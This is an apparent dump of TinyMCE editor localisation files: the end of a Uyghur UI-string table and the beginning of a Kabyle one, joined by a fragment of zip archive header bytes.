"Template": "\u0626\u06c8\u0644\u06af\u0649\u0644\u06d5\u0631",
"Text color": "\u062e\u06d5\u062a \u0631\u06d5\u06ad\u06af\u0649",
"Background color": "\u0626\u0627\u0631\u0642\u0627 \u0631\u06d5\u06ad\u06af\u0649",
"Custom...": "\u0626\u0649\u062e\u062a\u0649\u064a\u0627\u0631\u0649",
"Custom color": "\u0626\u0649\u062e\u062a\u0649\u064a\u0627\u0631\u0649 \u0631\u06d5\u06ad",
"No color": "\u0631\u06d5\u06ad \u064a\u0648\u0642",
"Remove color": "\u0631\u06d5\u06ad\u0646\u0649 \u0686\u0649\u0642\u0649\u0631\u0649\u06cb\u06d0\u062a\u0649\u0634",
"Table of Contents": "\u062c\u06d5\u062f\u06d5\u0644\u0646\u0649\u06ad \u0645\u06d5\u0632\u0645\u06c7\u0646\u0649",
"Show blocks": "\u0631\u0627\u064a\u0648\u0646 \u0643\u06c6\u0631\u0633\u0649\u062a\u0649\u0634",
"Show invisible characters": "\u0643\u06c6\u0631\u06c8\u0646\u0645\u06d5\u064a\u062f\u0649\u063a\u0627\u0646 \u06be\u06d5\u0631\u0649\u067e\u0644\u06d5\u0631\u0646\u0649 \u0643\u06c6\u0631\u0633\u0649\u062a\u0649\u0634",
"Word count": "\u0633\u06c6\u0632 \u0633\u0627\u0646\u0649",
"Count": "\u0633\u0627\u0646\u0627\u0634",
"Document": "\u06be\u06c6\u062c\u062c\u06d5\u062a",
"Selection": "\u062a\u0627\u0644\u0644\u0627\u0646\u063a\u0627\u0646",
"Words": "\u0633\u06c6\u0632\u0644\u06d5\u0631",
"Words: {0}": "\u0633\u06c6\u0632: {0}",
"{0} words": "{0} \u0633\u06c6\u0632",
"File": "\u06be\u06c6\u062c\u062c\u06d5\u062a",
"Edit": "\u062a\u06d5\u06be\u0631\u0649\u0631\u0644\u06d5\u0634",
"Insert": "\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"View": "\u0643\u06c6\u0631\u06c8\u0634",
"Format": "\u0641\u0648\u0631\u0645\u0627\u062a",
"Table": "\u062c\u06d5\u062f\u06cb\u06d5\u0644",
"Tools": "\u0642\u06c7\u0631\u0627\u0644",
"Powered by {0}": "\u062a\u06d0\u062e\u0646\u0649\u0643\u0649\u062f\u0627 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0645\u0648\u0644 \u0645\u06d5\u0632\u0645\u06c7\u0646\u0644\u06c7\u0642 \u062a\u06d0\u0643\u06d0\u0633\u0649\u062a \u0631\u0627\u0645\u0643\u0649\u0633\u0649 \u0631\u0627\u064a\u0648\u0646\u0649\u062f\u0627 \u062a\u0649\u0632\u0649\u0645\u0644\u0649\u0643 \u0626\u06c8\u0686\u06c8\u0646 ALT-F9 \u0646\u0649\u060c \u0642\u0648\u0631\u0627\u0644 \u0628\u0627\u0644\u062f\u0649\u0642\u0649 \u0626\u06c8\u0686\u06c8\u0646 ALT-F10 \u0646\u0649\u060c \u064a\u0627\u0631\u062f\u06d5\u0645 \u0626\u06c8\u0686\u06c8\u0646 ALT-0 \u0646\u0649 \u0628\u06d0\u0633\u0649\u06ad",
"Image title": "\u0631\u06d5\u0633\u0649\u0645 \u062a\u06d0\u0645\u0649\u0633\u0649",
"Border width": "\u06af\u0649\u0631\u06cb\u06d5\u0643 \u0643\u06d5\u06ad\u0644\u0649\u0643\u0649",
"Border style": "\u06af\u0649\u0631\u06cb\u06d5\u0643 \u0626\u06c7\u0633\u0644\u06c7\u0628\u0649",
"Error": "\u062e\u0627\u062a\u0627\u0644\u0649\u0642",
"Warn": "\u0626\u0627\u06af\u0627\u06be\u0644\u0627\u0646\u062f\u06c7\u0631\u06c7\u0634",
"Valid": "\u0626\u06c8\u0646\u06c8\u0645\u0644\u06c8\u0643",
"To open the popup, press Shift+Enter": "\u0633\u06d5\u0643\u0631\u0649\u0645\u06d5 \u0643\u06c6\u0632\u0646\u06d5\u0643\u0646\u0649 \u0626\u06d0\u0686\u0649\u0634 \u0626\u06c8\u0686\u06c8\u0646 Shift+Enter \u0646\u0649 \u0628\u06d0\u0633\u0649\u06ad",
"Rich Text Area. Press ALT-0 for help.": "\u0641\u0648\u0631\u0645\u0627\u062a\u0644\u0649\u0642 \u062a\u06d0\u0643\u0649\u0633\u062a \u0631\u0627\u064a\u0648\u0646\u0649. \u064a\u0627\u0631\u062f\u06d5\u0645 \u0626\u06c8\u0686\u06c8\u0646 ALT-0 \u0646\u0649 \u0628\u06d0\u0633\u0649\u06ad.",
"System Font": "\u0633\u0649\u0633\u062a\u06d0\u0645\u0627 \u062e\u06d5\u062a \u0646\u06c7\u0633\u062e\u0649\u0633\u0649",
"Failed to upload image: {0}": "\u0631\u06d5\u0633\u0649\u0645\u0646\u0649 \u064a\u06c8\u0643\u0644\u0649\u064a\u06d5\u0644\u0645\u0649\u062f\u0649: {0}",
"Failed to load plugin: {0} from url {1}": "\u0642\u0649\u0633\u062a\u06c7\u0631\u0645\u0649\u0646\u0649 \u064a\u06c8\u0643\u0644\u0649\u064a\u06d5\u0644\u0645\u0649\u062f\u0649: {0} \u0646\u0649\u06ad \u0645\u06d5\u0646\u0628\u06d5 \u0626\u0627\u062f\u0631\u06d0\u0633\u0649 {1}",
"Failed to load plugin url: {0}": "\u0642\u0649\u0633\u062a\u06c7\u0631\u0645\u0649\u0646\u0649 \u064a\u06c8\u0643\u0644\u0649\u064a\u06d5\u0644\u0645\u0649\u062f\u0649 \u0626\u0627\u062f\u0631\u06d0\u0633\u0649: {0}",
"Failed to initialize plugin: {0}": "\u0642\u0649\u0633\u062a\u06c7\u0631\u0645\u0649\u0646\u0649 \u062f\u06d5\u0633\u0644\u06d5\u067e\u0644\u06d5\u0634\u062a\u06c8\u0631\u06d5\u0644\u0645\u0649\u062f\u0649: {0}",
"example": "\u0645\u06d5\u0633\u0649\u0644\u06d5\u0646",
"Search": "\u0626\u0649\u0632\u062f\u06d5\u0634",
"All": "\u06be\u06d5\u0645\u0645\u06d5",
"Currency": "\u067e\u06c7\u0644",
"Text": "\u062a\u06d0\u0643\u0649\u0633\u062a",
"Quotations": "\u0646\u06d5\u0642\u0649\u0644\u0644\u06d5\u0631",
"Mathematical": "\u0645\u0627\u062a\u06d0\u0645\u0627\u062a\u0649\u0643\u0649\u0644\u0649\u0642",
"Extended Latin": "\u0643\u06d0\u06ad\u06d5\u064a\u062a\u0649\u0644\u06af\u06d5\u0646 \u0644\u0627\u062a\u0649\u0646 \u06be\u06d5\u0631\u067e\u0644\u0649\u0631\u0649",
"Symbols": "\u0628\u06d5\u0644\u06af\u0649\u0644\u06d5\u0631",
"Arrows": "\u0626\u0649\u0633\u062a\u0631\u06d0\u0644\u0643\u0649\u0644\u0627\u0631",
"User Defined": "\u0626\u0649\u0634\u0644\u06d5\u062a\u0643\u06c8\u0686\u0649 \u0628\u06d5\u0644\u06af\u0649\u0644\u0649\u06af\u06d5\u0646",
"dollar sign": "\u062f\u0648\u0644\u0644\u0627\u0631 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"currency sign": "\u067e\u06c7\u0644 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"euro-currency sign": "\u064a\u0627\u06cb\u0631\u0648 \u067e\u06c7\u0644 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"colon sign": "\u0642\u0648\u0634 \u0686\u06d0\u0643\u0649\u062a \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"cruzeiro sign": "\u0643\u0631\u06c7 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"french franc sign": "\u0641\u0649\u0631\u0627\u0646\u0633\u0649\u064a\u06d5 \u0641\u0649\u0631\u0627\u0646\u0643 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"lira sign": "\u0644\u0649\u0631\u0627 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"mill sign": "\u0645\u0649\u0644 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"naira sign": "\u0646\u0627\u064a\u0631\u0627 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"peseta sign": "\u067e\u06d0\u0633\u06d0\u062a\u0627 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"rupee sign": "\u0631\u06c7\u067e\u0649\u064a\u06d5 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"won sign": "\u06cb\u0648\u0646 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"new sheqel sign": "\u064a\u06d0\u06ad\u0649 \u0634\u0649\u0643\u0649\u0644 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"dong sign": "\u06cb\u0649\u064a\u06d0\u062a\u0646\u0627\u0645 \u062f\u0648\u06ad\u0649 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"kip sign": "\u0643\u0649\u067e \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"tugrik sign": "\u062a\u06c8\u06af\u0631\u0649\u0643 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"drachma sign": "\u062f\u0649\u0631\u0627\u062e\u0645\u0627 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"german penny symbol": "\u06af\u06d0\u0631\u0645\u0627\u0646\u0649\u064a\u06d5 \u067e\u06d0\u0646\u0646\u0649 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"peso sign": "\u067e\u06d0\u0633\u0648 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"guarani sign": "\u06af\u06c7\u0626\u0627\u0631\u0627\u0646\u0649 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"austral sign": "\u0626\u0627\u06cb\u0633\u062a\u0631\u0627\u0644\u0649\u064a\u06d5 \u067e\u06c7\u0644 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"hryvnia sign": "hryvnia \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"cedi sign": "\u0633\u06d0\u062f\u0649 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"livre tournois sign": "livre tournois \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"spesmilo sign": "spesmilo \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"tenge sign": "tenge \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"indian rupee sign": "\u06be\u0649\u0646\u062f\u0649\u0633\u062a\u0627\u0646 \u0631\u06c7\u067e\u0649\u064a\u06d5 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"turkish lira sign": "\u062a\u06c8\u0631\u0643\u0649\u064a\u06d5 \u0644\u0649\u0631\u0627 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"nordic mark sign": "\u0634\u0649\u0645\u0627\u0644\u0649\u064a \u064a\u0627\u06cb\u0631\u0648\u067e\u0627 \u0645\u0627\u0631\u0643 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"manat sign": "manat \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"ruble sign": "\u0631\u06c7\u0628\u0644\u0649 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"yen character": "\u064a\u06d0\u0646 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"yuan character": "\u064a\u06c8\u06d5\u0646 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"yuan character, in hong kong and taiwan": "\u064a\u06c8\u06d5\u0646 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649 (\u0634\u064a\u0627\u06ad\u06af\u0627\u06ad \u06cb\u06d5 \u062a\u06d5\u064a\u06cb\u06d5\u0646)",
"yen\/yuan character variant one": "\u064a\u06d0\u0646 \u06cb\u06d5 \u064a\u06c8\u06d5\u0646 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649",
"Loading emoticons...": "\u0686\u0649\u0631\u0627\u064a \u0626\u0649\u067e\u0627\u062f\u0649\u0644\u0649\u0631\u0649 \u064a\u06c8\u0643\u0644\u0649\u0646\u0649\u06cb\u0627\u062a\u0649\u062f\u06c7...",
"Could not load emoticons": "\u0686\u0649\u0631\u0627\u064a \u0626\u0649\u067e\u0627\u062f\u0649\u0644\u0649\u0631\u0649 \u064a\u06c8\u0643\u0644\u06d5\u0646\u0645\u0649\u062f\u0649",
"People": "\u0626\u0627\u062f\u06d5\u0645\u0644\u06d5\u0631",
"Animals and Nature": "\u06be\u0627\u064a\u06cb\u0627\u0646\u0644\u0627\u0631 \u06cb\u06d5 \u062a\u06d5\u0628\u0649\u0626\u06d5\u062a",
"Food and Drink": "\u064a\u06d0\u0645\u06d5\u0643-\u0626\u0649\u0686\u0645\u06d5\u0643",
"Activity": "\u067e\u0627\u0626\u0627\u0644\u0649\u064a\u06d5\u062a",
"Travel and Places": "\u0633\u0627\u064a\u0627\u06be\u06d5\u062a \u06cb\u06d5 \u062c\u0627\u064a\u0644\u0627\u0631",
"Objects": "\u0646\u06d5\u0631\u0633\u0649\u0644\u06d5\u0631",
"Flags": "\u0628\u0627\u064a\u0631\u0627\u0642\u0644\u0627\u0631",
"Characters": "\u06be\u06d5\u0631\u067e-\u0628\u06d5\u0644\u06af\u0649\u0644\u06d5\u0631",
"Characters (no spaces)": "\u06be\u06d5\u0631\u067e-\u0628\u06d5\u0644\u06af\u0649\u0644\u06d5\u0631 (\u0628\u0648\u0634\u0644\u06c7\u0642\u0646\u0649 \u0626\u06c6\u0632 \u0626\u0649\u0686\u0649\u06af\u06d5 \u0626\u0627\u0644\u0645\u0627\u064a\u062f\u06c7)",
"{0} characters": "{0} \u06be\u06d5\u0631\u067e-\u0628\u06d5\u0644\u06af\u06d5",
"Error: Form submit field collision.": "\u062e\u0627\u062a\u0627\u0644\u0649\u0642: \u0631\u0627\u0645\u0643\u0627 (form) \u064a\u0648\u0644\u0644\u0627\u0634 \u0628\u06c6\u0644\u0649\u0643\u0649 \u062a\u0648\u0642\u06c7\u0646\u06c7\u0634\u062a\u0649.",
"Error: No form element found.": "\u062e\u0627\u062a\u0627\u0644\u0649\u0642: \u0631\u0627\u0645\u0643\u0627 (form) \u0626\u06d0\u0644\u06d0\u0645\u06d0\u0646\u062a\u0649 \u062a\u06d0\u067e\u0649\u0644\u0645\u0649\u062f\u0649.",
"Update": "\u064a\u06d0\u06ad\u0649\u0644\u0627\u0634",
"Color swatch": "\u0631\u06d5\u06ad \u0626\u06c8\u0644\u06af\u0649\u0633\u0649",
"Turquoise": "\u0643\u06c6\u0643\u06c8\u0686 \u064a\u06d0\u0634\u0649\u0644",
"Green": "\u064a\u06d0\u0634\u0649\u0644",
"Blue": "\u0643\u06c6\u0643",
"Purple": "\u0628\u0649\u0646\u06d5\u067e\u0634\u06d5",
"Navy Blue": "\u062f\u06d0\u06ad\u0649\u0632 \u0643\u06c6\u0643",
"Dark Turquoise": "\u062a\u0648\u0642 \u0643\u06c6\u0643\u06c8\u0686 \u064a\u06d0\u0634\u0649\u0644",
"Dark Green": "\u062a\u0648\u0642 \u064a\u06d0\u0634\u0649\u0644",
"Medium Blue": "\u0626\u0627\u0631\u0627 \u0643\u06c6\u0643",
"Medium Purple": "\u0626\u0627\u0631\u0627 \u0628\u0649\u0646\u06d5\u067e\u0634\u06d5",
"Midnight Blue": "\u0642\u0627\u0631\u0627 \u0643\u06c6\u0643",
"Yellow": "\u0633\u06d0\u0631\u0649\u0642",
"Orange": "\u0642\u0649\u0632\u063a\u06c7\u0686 \u0633\u06d0\u0631\u0649\u0642",
"Red": "\u0642\u0649\u0632\u0649\u0644",
"Light Gray": "\u0626\u0627\u0686 \u0643\u06c8\u0644\u0631\u06d5\u06ad",
"Gray": "\u0643\u06c8\u0644\u0631\u06d5\u06ad",
"Dark Yellow": "\u062a\u0648\u0642 \u0633\u06d0\u0631\u0649\u0642",
"Dark Orange": "\u062a\u0648\u0642 \u0642\u0649\u0632\u063a\u06c7\u0686",
"Dark Red": "\u062a\u0648\u0642 \u0642\u0649\u0632\u0649\u0644",
"Medium Gray": "\u0626\u0648\u062a\u062a\u06c7\u0631\u06be\u0627\u0644 \u0643\u06c8\u0644\u0631\u06d5\u06ad",
"Dark Gray": "\u062a\u0648\u0642 \u0643\u06c8\u0644\u0631\u06d5\u06ad",
"Light Green": "\u0626\u0627\u0686 \u064a\u06d0\u0634\u0649\u0644",
"Light Yellow": "\u0626\u0627\u0686 \u0633\u06d0\u0631\u0649\u0642",
"Light Red": "\u0626\u0627\u0686 \u0642\u0649\u0632\u0649\u0644",
"Light Purple": "\u0626\u0627\u0686 \u0628\u0649\u0646\u06d5\u067e\u0634\u06d5",
"Light Blue": "\u0626\u0627\u0686 \u0643\u06c6\u0643",
"Dark Purple": "\u062a\u0648\u0642 \u0628\u0649\u0646\u06d5\u067e\u0634\u06d5",
"Dark Blue": "\u062a\u0648\u0642 \u0643\u06c6\u0643",
"Black": "\u0642\u0627\u0631\u0627",
"White": "\u0626\u0627\u0642",
"Switch to or from fullscreen mode": "\u062a\u0648\u0644\u06c7\u0642 \u0626\u06d0\u0643\u0631\u0627\u0646 \u06be\u0627\u0644\u0649\u062a\u0649\u0646\u0649 \u0626\u0627\u0644\u0645\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Open help dialog": "\u064a\u0627\u0631\u062f\u06d5\u0645 \u062f\u0649\u064a\u0627\u0644\u0648\u06af\u0649\u0646\u0649 \u0626\u06d0\u0686\u0649\u0634",
"history": "\u062a\u0627\u0631\u0649\u062e\u0649\u064a \u0626\u06c7\u0686\u06c7\u0631",
"styles": "\u0626\u06c7\u0633\u0644\u06c7\u0628\u0644\u0627\u0631",
"formatting": "\u0641\u0648\u0631\u0645\u0627\u062a\u0644\u0627\u0634",
"alignment": "\u062a\u0648\u063a\u0631\u0649\u0644\u0627\u0634",
"indentation": "\u062a\u0627\u0631\u0627\u064a\u062a\u0649\u0634",
"Font": "\u062e\u06d5\u062a \u0646\u06c7\u0633\u062e\u0649\u0633\u0649",
"Size": "\u0686\u0648\u06ad\u0644\u06c7\u0642\u0649",
"More...": "\u062a\u06d0\u062e\u0649\u0645\u06c7 \u0643\u06c6\u067e...",
"Select...": "\u062a\u0627\u0644\u0644\u0627\u0634...",
"Preferences": "\u0645\u0627\u064a\u0649\u0644\u0644\u0649\u0642\u0644\u0649\u0631\u0649",
"Yes": "\u06be\u06d5\u0626\u06d5",
"No": "\u064a\u0627\u0642",
"Keyboard Navigation": "\u064a\u06c6\u062a\u0643\u0649\u0644\u0649\u0634\u0686\u0627\u0646 \u0643\u06c7\u0646\u06c7\u067e\u0643\u0627 \u062a\u0627\u062e\u062a\u0649\u0633\u0649",
"Version": "\u0646\u06d5\u0634\u0631\u0649",
"Code view": "\u0643\u0648\u062f \u0643\u06c6\u0631\u06c8\u0646\u06c8\u0634\u0649",
"Open popup menu for split buttons": "\u0628\u06c6\u0644\u06c8\u0646\u0645\u06d5 \u0643\u06c7\u0646\u06c7\u067e\u0643\u0649\u0644\u0627\u0631 \u0626\u06c8\u0686\u06c8\u0646 \u0633\u06d5\u0643\u0631\u0649\u0645\u06d5 \u062a\u0649\u0632\u0649\u0645\u0644\u0649\u0643 \u0626\u06d0\u0686\u0649\u0634",
"List Properties": "\u062a\u0649\u0632\u0649\u0645\u0644\u0649\u0643 \u062e\u0627\u0633\u0644\u0649\u0642\u0644\u0649\u0631\u0649",
"List properties...": "\u062a\u0649\u0632\u0649\u0645\u0644\u0649\u0643 \u062e\u0627\u0633\u0644\u0649\u0642\u0644\u0649\u0631\u0649...",
"Start list at number": "\u062a\u0649\u0632\u0649\u0645\u0644\u0649\u0643\u0646\u0649 \u0633\u0627\u0646 \u0628\u0649\u0644\u06d5\u0646 \u0628\u0627\u0634\u0644\u0627\u0634",
"Line height": "\u0642\u06c7\u0631 \u0626\u0627\u0631\u0649\u0644\u0649\u0642\u0649",
"comments": "\u0626\u0649\u0646\u0643\u0627\u0633\u0644\u0627\u0631",
"Format Painter": "\u0641\u0648\u0631\u0645\u0627\u062a \u0643\u06c6\u0686\u06c8\u0631\u06af\u06c8\u0686",
"Insert\/edit iframe": "\u0631\u0627\u0645\u0643\u0627 (iframe) \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634 \u064a\u0627\u0643\u0649 \u062a\u06d5\u06be\u0631\u0649\u0631\u0644\u06d5\u0634",
"Capitalization": "\u0686\u0648\u06ad \u06be\u06d5\u0631\u067e\u0643\u06d5 \u0626\u0627\u0644\u0645\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"lowercase": "\u0643\u0649\u0686\u0649\u0643 \u06be\u06d5\u0631\u067e",
"UPPERCASE": "\u0686\u0648\u06ad \u06be\u06d5\u0631\u067e",
"Title Case": "\u062a\u06d0\u0645\u0627 \u0626\u06c7\u0633\u0644\u06c7\u0628\u0649",
"permanent pen": "\u062f\u0627\u0626\u0649\u0645\u0644\u0649\u0642 \u0642\u06d5\u0644\u06d5\u0645",
"Permanent Pen Properties": "\u062f\u0627\u0626\u0649\u0645\u0644\u0649\u0642 \u0642\u06d5\u0644\u06d5\u0645 \u062e\u0627\u0633\u0644\u0649\u0642\u0644\u0649\u0631\u0649",
"Permanent pen properties...": "\u062f\u0627\u0626\u0649\u0645\u0644\u0649\u0642 \u0642\u06d5\u0644\u06d5\u0645 \u062e\u0627\u0633\u0644\u0649\u0642\u0644\u0649\u0631\u0649...",
"case change": "\u0686\u0648\u06ad\u0644\u06c7\u0642\u0649\u0646\u0649 \u0626\u06c6\u0632\u06af\u06d5\u0631\u062a\u0649\u0634",
"page embed": "\u0642\u0649\u0633\u062a\u06c7\u0631\u0645\u0627 \u0628\u06d5\u062a",
"Advanced sort...": "\u0626\u0627\u0644\u0649\u064a \u062a\u0649\u0632\u0649\u0634...",
"Advanced Sort": "\u0626\u0627\u0644\u0649\u064a \u062a\u0649\u0632\u0649\u0634",
"Sort table by column ascending": "\u062c\u06d5\u062f\u06cb\u06d5\u0644\u0646\u0649 \u0626\u0649\u0633\u062a\u0648\u0646\u0646\u0649\u06ad \u0626\u06d0\u0634\u0649\u0634\u0649 \u0628\u0648\u064a\u0649\u0686\u06d5 \u062a\u0649\u0632\u0649\u0634",
"Sort table by column descending": "\u062c\u06d5\u062f\u06cb\u06d5\u0644\u0646\u0649 \u0626\u0649\u0633\u062a\u0648\u0646\u0646\u0649\u06ad \u0643\u06d0\u0645\u0649\u064a\u0649\u0634\u0649 \u0628\u0648\u064a\u0649\u0686\u06d5 \u062a\u0649\u0632\u0649\u0634",
"Sort": "\u062a\u0649\u0632\u0649\u0634",
"Order": "\u062a\u06d5\u0631\u062a\u0649\u067e\u0649",
"Sort by": "\u062a\u0649\u0632\u0649\u0634 \u0634\u06d5\u0643\u0644\u0649",
"Ascending": "\u0626\u06d0\u0634\u0649\u0634",
"Descending": "\u0643\u06d0\u0645\u0649\u064a\u0649\u0634",
"Column {0}": "{0} \u0626\u0649\u0633\u062a\u0648\u0646",
"Row {0}": "{0}-\u0642\u06c7\u0631",
"Spellcheck...": "\u0626\u0649\u0645\u0644\u0627 \u062a\u06d5\u0643\u0634\u06c8\u0631\u06c8\u0634...",
"Misspelled word": "\u062e\u0627\u062a\u0627 \u0633\u06c6\u0632",
"Suggestions": "\u062a\u06d5\u06cb\u0633\u0649\u064a\u06d5\u0644\u06d5\u0631",
"Change": "\u0626\u06c6\u0632\u06af\u06d5\u0631\u062a\u0649\u0634",
"Finding word suggestions": "\u062a\u06d5\u06cb\u0633\u0649\u064a\u06d5 \u0633\u06c6\u0632\u0644\u06d5\u0631\u0646\u0649 \u0626\u0649\u0632\u062f\u06d5\u0634",
"Success": "\u0626\u0648\u06ad\u06c7\u0634\u0644\u06c7\u0642 \u0628\u0648\u0644\u062f\u0649",
"Repair": "\u0626\u0648\u06ad\u0634\u0627\u0634",
"Issue {0} of {1}": "{0}-\u0645\u06d5\u0633\u0649\u0644\u06d5\u060c \u062c\u06d5\u0645\u0626\u0649\u064a {1} \u0645\u06d5\u0633\u0649\u0644\u06d5",
"Images must be marked as decorative or have an alternative text description": "\u0631\u06d5\u0633\u0649\u0645\u0644\u06d5\u0631\u0646\u0649\u06ad \u0686\u0648\u0642\u06c7\u0645 \u0628\u06d0\u0632\u06d5\u0643 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649 \u064a\u0627\u0643\u0649 \u062a\u0627\u0644\u0644\u0627\u0646\u0645\u0627 \u062a\u06d0\u0643\u0649\u0633\u062a \u0686\u06c8\u0634\u06d5\u0646\u062f\u06c8\u0631\u06c8\u0634\u0649 \u0628\u0648\u0644\u06c7\u0634\u0649 \u0643\u06d0\u0631\u06d5\u0643",
"Images must have an alternative text description. Decorative images are not allowed.": "\u0631\u06d5\u0633\u0649\u0645\u0644\u06d5\u0631\u0646\u0649\u06ad \u0686\u0648\u0642\u06c7\u0645 \u062a\u0627\u0644\u0644\u0627\u0646\u0645\u0627 \u062a\u06d0\u0643\u0649\u0633\u062a \u0686\u06c8\u0634\u06d5\u0646\u062f\u06c8\u0631\u06c8\u0634\u0649 \u0628\u0648\u0644\u06c7\u0634\u0649 \u0643\u06d0\u0631\u06d5\u0643. \u0628\u06d0\u0632\u06d5\u0643 \u0631\u06d5\u0633\u0649\u0645\u0644\u06d5\u0631\u06af\u06d5 \u0631\u06c7\u062e\u0633\u06d5\u062a \u0642\u0649\u0644\u0649\u0646\u0645\u0627\u064a\u062f\u06c7.",
"Or provide alternative text:": "\u064a\u0627\u0643\u0649 \u062a\u0627\u0644\u0644\u0627\u0646\u0645\u0627 \u062a\u06d0\u0643\u0649\u0633\u062a\u0646\u0649 \u0643\u0649\u0631\u06af\u06c8\u0632\u06c8\u06ad:",
"Make image decorative:": "\u0628\u06d0\u0632\u06d5\u0643 \u0631\u06d5\u0633\u0649\u0645 \u0642\u0649\u0644\u0649\u06ad:",
"ID attribute must be unique": "ID \u062e\u0627\u0633\u0644\u0649\u0642\u0649 \u0628\u0649\u0631\u062f\u0649\u0646\u0628\u0649\u0631 \u0628\u0648\u0644\u06c7\u0634\u0649 \u0643\u06d0\u0631\u06d5\u0643",
"Make ID unique": "ID \u0646\u0649 \u0628\u0649\u0631\u062f\u0649\u0646\u0628\u0649\u0631 \u0642\u0649\u0644\u0649\u0634",
"Keep this ID and remove all others": "\u0628\u06c7 ID \u062f\u0649\u0646 \u0628\u0627\u0634\u0642\u0649\u0644\u0649\u0631\u0649\u0646\u0649 \u0686\u0649\u0642\u0649\u0631\u0649\u06cb\u06d0\u062a\u0649\u0634",
"Remove this ID": "\u0628\u06c7 ID \u0646\u0649 \u0686\u0649\u0642\u0649\u0631\u0649\u06cb\u06d0\u062a\u0649\u0634",
"Remove all IDs": "\u0628\u0627\u0631\u0644\u0649\u0642 ID \u0646\u0649 \u0686\u0649\u0642\u0649\u0631\u0649\u06cb\u06d0\u062a\u0649\u0634",
"Checklist": "\u062a\u0627\u0644\u0644\u0627\u0646\u0645\u0627 \u062a\u0649\u0632\u0649\u0645\u0644\u0649\u0643",
"Anchor": "\u0626\u06c7\u0644\u0627\u0646\u0645\u0627",
"Special character": "\u0626\u0627\u0644\u0627\u06be\u0649\u062f\u06d5 \u0628\u06d5\u0644\u06af\u0649\u0644\u06d5\u0631",
"Code sample": "\u0643\u0648\u062f \u0645\u0649\u0633\u0627\u0644\u0649",
"Color": "\u0631\u06d5\u06ad",
"Document properties": "\u06be\u06c6\u062c\u062c\u06d5\u062a \u062e\u0627\u0633\u0644\u0649\u0642\u0649",
"Image description": "\u0631\u06d5\u0633\u0649\u0645 \u062a\u06d5\u0633\u06cb\u0649\u0631\u0649",
"Image": "\u0631\u06d5\u0633\u0649\u0645",
"Insert link": "\u0626\u06c7\u0644\u0649\u0646\u0649\u0634 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Target": "\u0646\u0649\u0634\u0627\u0646",
"Link": "\u0626\u06c7\u0644\u0649\u0646\u0649\u0634",
"Poster": "\u064a\u0648\u0644\u0644\u0649\u063a\u06c7\u0686\u0649",
"Media": "\u0645\u06d0\u062f\u0649\u064a\u0627",
"Print": "\u0628\u06d0\u0633\u0649\u0634",
"Prev": "\u0626\u0627\u0644\u062f\u0649\u0646\u0642\u0649\u0633\u0649",
"Find and replace": "\u0626\u0649\u0632\u062f\u06d5\u0634 \u06cb\u06d5 \u0626\u0627\u0644\u0645\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Whole words": "\u062a\u0648\u0644\u06c7\u0642  \u0645\u0627\u0633\u0644\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Insert template": "\u0626\u06c8\u0644\u06af\u06d5 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634"
});PK
h�\㵜~�;�;program/js/tinymce/langs/kab.jsnu�[���tinymce.addI18n('kab',{
"Redo": "Err-d",
"Undo": "Semmet",
"Cut": "Gzem",
"Copy": "N\u0263el",
"Paste": "Sente\u1e0d",
"Select all": "Fren kulec",
"New document": "Attaftar amaynut",
"Ok": "Ih",
"Cancel": "Semmet",
"Visual aids": "Visual aids",
"Bold": "Tira tazurant",
"Italic": "Tira yeknan",
"Underline": "Aderrer",
"Strikethrough": "Strikethrough",
"Superscript": "Superscript",
"Subscript": "Subscript",
"Clear formatting": "Clear formatting",
"Align left": "Tarigla \u0263er zelma\u1e0d",
"Align center": "Di tlemast",
"Align right": "tarigla \u0263er zelma\u1e0d",
"Justify": "Justify",
"Bullet list": "Tabdart s tlillac",
"Numbered list": "Tabdart s wu\u1e6d\u1e6dunen",
"Decrease indent": "Simc\u1e6du\u1e25 asi\u1e93i",
"Increase indent": "Sim\u0263ur asi\u1e93i",
"Close": "Mdel",
"Formats": "Imasalen",
